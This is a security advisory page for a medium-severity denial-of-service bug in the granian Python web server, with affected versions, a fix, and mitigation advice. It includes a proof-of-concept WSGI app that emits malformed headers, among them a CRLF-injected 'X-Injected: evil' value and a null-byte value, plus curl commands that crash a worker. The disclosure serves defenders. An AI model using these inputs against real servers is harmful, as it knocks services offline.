CVE-2026-42545 — granian
MEDIUMCVE-2026-42545 is a medium-severity (CVSS 5.9) CWE-248 vulnerability in granian. A fix is available for granian — see the affected versions and patch details below.
Granian: DoS via WSGI response header panic
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42545.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
granianReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.
This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a 500 instead kill the worker process.
Details
If either conversion fails, .unwrap() panics. In release builds Granian uses panic = "abort", so the panic terminates the worker.
Preconditions
The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.
Examples include:
- a header name containing a space
- a header value containing
\r\n - a header value containing a null byte
These are realistic failure modes for applications that reflect user-controlled data into headers such as Location, Content Disposition, or custom response headers.
PoC
Step 1
start Granian with the PoC WSGI app
# app.py
def app(environ, start_response):
path = environ.get("PATH_INFO", "/")
if path == "/crash-name":
headers = [("X Bad Name", "value")]
elif path == "/crash-value":
headers = [("Content-Type", "text/html\r\nX-Injected: evil")]
elif path == "/crash-null":
headers = [("X-Custom", "value\x00end")]
else:
start_response("200 OK", [("Content-Type", "text/plain")])
return [b"OK - server alive\n"]
start_response("200 OK", headers)
return [b"This response kills the worker\n"]
granian --interface wsgi app:app --host 127.0.0.1 --port 8000
Step 2
trigger the crash (any one of these is sufficient)
curl http://127.0.0.1:8000/crash-name
curl http://127.0.0.1:8000/crash-value
curl http://127.0.0.1:8000/crash-null
Expected result:
- the worker aborts after any of the crash paths
- subsequent requests fail until the worker is restarted
Impact
- Worker process denial of service
- A single bad response kills one worker
- Application bugs become process crashes instead of request-scoped failures
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | granian | ≥ 0.2.0&&< 2.7.4 | 2.7.4pip install --upgrade 'granian==2.7.4' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for granian, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update granian to 2.7.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-42545 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is CVE-2026-42545 in your dependencies?
Find it across PyPI, including transitive dependencies.